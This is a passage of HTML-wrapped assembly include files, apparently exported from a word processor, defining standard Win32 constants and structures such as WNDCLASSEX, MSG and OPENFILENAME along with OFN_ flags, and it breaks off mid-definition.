&lt;/span&gt;;(reserved)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_dwReserved1&lt;span style=""&gt;         &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;(reserved)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_cFileName&lt;span style=""&gt;           &lt;/span&gt;CHAR&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;260 dup(0)&lt;span style=""&gt;    &lt;/span&gt;;matching file name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_cAlternateFileName&lt;span style=""&gt;  &lt;/span&gt;CHAR&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;14 dup(0)&lt;span style=""&gt;    &lt;/span&gt;;8.3 alias name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WIN32_FIND_DATA&lt;span style=""&gt;        &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDOWS.INC]ÄÄÄ&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*************************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;WINDOWS.INC - Windows assembly language structures &amp;amp; constants&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*************************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;C/C++ Run Time Library - Version 7.0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;Copyright (c) 1985, 1996 by Borland International&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;All Rights Reserved.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Conditional Block includes:&lt;span style=""&gt;   &lt;/span&gt;(True states)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;NOTEXT - don't include TextMetric struc &amp;amp; text drawing modes &amp;amp; stock objs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;NORASTOPS - don't include binary and ternary raster ops.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;NOVK&lt;span style=""&gt;      &lt;/span&gt;- don't include virtual key definitions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;NOMB&lt;span style=""&gt;      &lt;/span&gt;- don't include message box definitions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;NOWM&lt;span style=""&gt;      &lt;/span&gt;- don't include window messages&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;FALSE&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;       &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TRUE&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;       &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NULL&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;       &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;Misc EQU's&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_SETTEXTA&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+01&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETTEXTA&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+02&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETTEXTLENGTHA&lt;span style=""&gt;              &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+03&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_SETPARTS&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+04&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETPARTS&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+06&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETBORDERS&lt;span style=""&gt;                  &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+07&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_SETMINHEIGHT&lt;span style=""&gt;                &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+08&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_SIMPLE&lt;span style=""&gt;                      &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+09&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETRECT&lt;span style=""&gt;                     &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+10&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_SETTEXTW&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+11&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETTEXTLENGTHW&lt;span style=""&gt;              &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+12&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_GETTEXTW&lt;span style=""&gt;                    &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;WM_USER+13&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_MENUNAME&lt;span style=""&gt;                         &lt;/span&gt;equ -8&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_HBRBACKGROUND&lt;span style=""&gt;                    &lt;/span&gt;equ -10&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_HCURSOR&lt;span style=""&gt;                          &lt;/span&gt;equ -12&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_HICON&lt;span style=""&gt;                            &lt;/span&gt;equ -14&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_HMODULE&lt;span style=""&gt;                          &lt;/span&gt;equ -16&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_CBWNDEXTRA&lt;span style=""&gt;                       &lt;/span&gt;equ -18&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_CBCLSEXTRA&lt;span style=""&gt;                       &lt;/span&gt;equ -20&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_WNDPROC&lt;span style=""&gt;                          &lt;/span&gt;equ -24&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GCL_STYLE&lt;span style=""&gt;                            &lt;/span&gt;equ -26&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PBM_SETRANGE&lt;span style=""&gt;    &lt;/span&gt;equ WM_USER+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PBM_SETPOS&lt;span style=""&gt;      &lt;/span&gt;equ WM_USER+2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PBM_DELTAPOS&lt;span style=""&gt;    &lt;/span&gt;equ WM_USER+3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PBM_SETSTEP&lt;span style=""&gt;     &lt;/span&gt;equ WM_USER+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PBM_STEPIT&lt;span style=""&gt;      &lt;/span&gt;equ WM_USER+5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ICON_SMALL&lt;span style=""&gt;             &lt;/span&gt; equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DEFAULT_PITCH&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DEFAULT_QUALITY&lt;span style=""&gt;        &lt;/span&gt; equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OEM_CHARSET&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;equ 255&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CLIP_CHARACTER_PRECIS&lt;span style=""&gt;    &lt;/span&gt;equ 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CLIP_DEFAULT_PRECIS&lt;span style=""&gt;      &lt;/span&gt;equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OUT_DEFAULT_PRECIS&lt;span style=""&gt;       &lt;/span&gt;equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;Window Class&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DLGWINDOWEXTRA&lt;span style=""&gt;                       &lt;/span&gt;equ 30&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WNDCLASSEX STRUCT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_cbSize&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_style&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_lpfnWndProc&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_cbClsExtra&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_cbWndExtra&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_hInstance&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_hIcon&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_hCursor&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_hbrBackground&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_lpszMenuName&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_lpszClassName&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;wc_hIconSm&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WNDCLASSEX ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;Message Structure&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MSG STRUCT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_hwnd&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_message&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_wParam&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_lParam&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_time&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;msg_pt&lt;span style=""&gt;  &lt;/span&gt;QWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MSG ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;Open Filename Dialog&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OPENFILENAME STRUCT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lStructSize&lt;span style=""&gt;        &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_hWndOwner&lt;span style=""&gt;          &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_hInstance&lt;span style=""&gt;          &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrFilter&lt;span style=""&gt;        &lt;/span&gt;DWORD &lt;span style=""&gt;     &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrCustomFilter&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nMaxCustFilter&lt;span style=""&gt;     &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nFilterIndex&lt;span style=""&gt;       &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrFile&lt;span style=""&gt;          &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nMaxFile&lt;span style=""&gt;           &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrFileTitle&lt;span style=""&gt;     &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nMaxFileTitle&lt;span style=""&gt;      &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrInitialDir&lt;span style=""&gt;    &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrTitle&lt;span style=""&gt;         &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_Flags&lt;span style=""&gt;              &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nFileOffset&lt;span style=""&gt;         &lt;/span&gt;WORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_nFileExtension&lt;span style=""&gt;      &lt;/span&gt;WORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpstrDefExt&lt;span style=""&gt;        &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lCustData&lt;span style=""&gt;          &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpfnHook&lt;span style=""&gt;           &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;of_lpTemplateName&lt;span style=""&gt;     &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OPENFILENAME ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_ALLOWMULTISELECT&lt;span style=""&gt;    &lt;/span&gt;equ 00000200h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_CREATEPROMPT&lt;span style=""&gt;        &lt;/span&gt;equ 00002000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_ENABLEHOOK&lt;span style=""&gt;          &lt;/span&gt;equ 00000020h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_ENABLETEMPLATE&lt;span style=""&gt;      &lt;/span&gt;equ 00000040h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_ENABLETEMPLATEHANDLE&lt;span style=""&gt;                &lt;/span&gt;equ 00000080h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_EXPLORER&lt;span style=""&gt;            &lt;/span&gt;equ 00080000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_EXTENSIONDIFFERENT&lt;span style=""&gt;  &lt;/span&gt;equ 00000400h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_FILEMUSTEXIST&lt;span style=""&gt;       &lt;/span&gt;equ 00001000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_HIDEREADONLY&lt;span style=""&gt;        &lt;/span&gt;equ 00000004h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_LONGNAMES&lt;span style=""&gt;           &lt;/span&gt;equ 00200000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NOCHANGEDIR&lt;span style=""&gt;         &lt;/span&gt;equ 00000008h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NODEREFERENCELINKS&lt;span style=""&gt;  &lt;/span&gt;equ 00100000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NOLONGNAMES&lt;span style=""&gt;         &lt;/span&gt;equ 00040000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NONETWORKBUTTON&lt;span style=""&gt;     &lt;/span&gt;equ 00020000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NOREADONLYRETURN&lt;span style=""&gt;    &lt;/span&gt;equ 00008000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NOTESTFILECREATE&lt;span style=""&gt;    &lt;/span&gt;equ 00010000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_NOVALIDATE&lt;span style=""&gt;          &lt;/span&gt;equ 00000100h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_OVERWRITEPROMPT&lt;span style=""&gt;     &lt;/span&gt;equ 00000002h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_PATHMUSTEXIST&lt;span style=""&gt;       &lt;/span&gt;equ 00000800h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_READONLY&lt;span style=""&gt;            &lt;/span&gt;equ 00000001h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_SHAREAWARE&lt;span style=""&gt;          &lt;/span&gt;equ 00004000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_SHOWHELP&lt;span style=""&gt;            &lt;/span&gt;equ 00000010h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_SHAREFALLTHROUGH&lt;span style=""&gt;    &lt;/span&gt;equ 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_SHARENOWARN&lt;span style=""&gt;         &lt;/span&gt;equ 